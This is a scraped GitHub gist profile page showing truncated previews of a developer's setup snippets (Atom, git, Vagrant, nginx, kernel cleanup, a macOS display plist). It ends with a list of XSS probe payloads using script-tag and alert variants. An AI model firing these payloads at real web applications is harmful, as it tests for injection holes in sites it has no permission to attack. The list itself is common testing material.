Skip to content

Instantly share code, notes, and snippets.

View guipacheco2's full-sized avatar

Guilherme Pacheco guipacheco2

View GitHub Profile
@guipacheco2
guipacheco2 / Atom
Last active November 3, 2015 14:40
Sublime User Preferences
apm install atom-material-ui atom-material-syntax atom-material-syntax-light
apm install nuclide-installer
apm install editorconfig
@guipacheco2
guipacheco2 / module.js
Created March 22, 2014 17:57
Javascritp module pattern
(function (window, document, undefined){
'use strict';
var App = (function () {
var exports = {},
module = {};
module._privateVar = 'This is a private variable';
module._privateMethod = function _privateMethod() {
return 'This is a private method';
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
@guipacheco2
guipacheco2 / git.md
Last active September 28, 2015 20:35
Git

git

Config

  • git config --global user.name "Guilherme Pacheco"
  • git config --global user.email "guipacheco2@gmail.com"
  • git config --global color.ui true
  • git config --global push.default current
@guipacheco2
guipacheco2 / README.md
Last active August 29, 2015 13:58
VirtualBox

Vagrantizar uma VM Comum.

  • Acessar VM atual e adicionar eth1 no /etc/network/interfaces
auto eth1
iface eth1 inet static
address 172.16.0.100
netmask 255.255.255.0

How do I uninstall any Apple pkg Package file?

At some point — I'm not sure which — Apple added an easier-to-use solution in the form of pkgutil.

  • $ pkgutil --pkgs # list all installed packages
  • $ pkgutil --files the-package-name.pkg # list installed files

After visually inspecting the list of files you can do something like:

  • $ pkgutil --pkg-info the-package-name.pkg # check the location
@guipacheco2
guipacheco2 / php-sock.md
Last active August 29, 2015 14:01
Infra

nginx error connect to php5-fpm.sock failed (13: Permission denied)

Instead of change permission to 666, better to change owner of php5-fpm.sock and set permission to 660.

Go to /etc/php5/fpm/pool.d Open www.conf (sudo nano www.conf) Uncomment all permission lines, like:

listen.owner = www-data listen.group = www-data

Vagrant

Plugins

  • vagrant plugin install vagrant-bindfs
  • vagrant plugin install vagrant-vbguest

Config BINDFS

Before installing bindfs, we need to install FUSE with development package using yum:

  • yum install fuse fuse-devel -y
@guipacheco2
guipacheco2 / DisplayVendorID-1e6d.DisplayProductID-59f2
Last active October 29, 2023 05:55
How to force RGB in Mac OS X
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>DisplayProductName</key>
<string>Display with forced RGB mode (EDID override)</string>
<key>IODisplayEDID</key>
<data>AP///////wAebfJZAQEBAQEXAQSlQxx4hsqVplVOoSYPUFSlS4BxT4GAgcCp
wLMAAQEBAQEBfkgA4KA4H0BAQDoApSIhAAAYAjqAGHE4LUBYLEUApSIhAAAa
AAAA/ABMRyBVTFRSQVdJREUKAAAA/QA4Sx5aGAAKICAgICAgAMc=
"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83)) </script>
'><script>alert("XSS")</script>
'><script>alert(String.fromCharCode(88,83,83))</script>
<ScRIPt>aLeRT("XSS")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
"><ScRIPt>aLeRT("XSS")</ScRIPt>
"><ScRIPt<aLeRT(String.fromCharCode(88,83,83)) </ScRIPt>
'><ScRIPt>aLeRT("XSS")</ScRIPt>
'><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>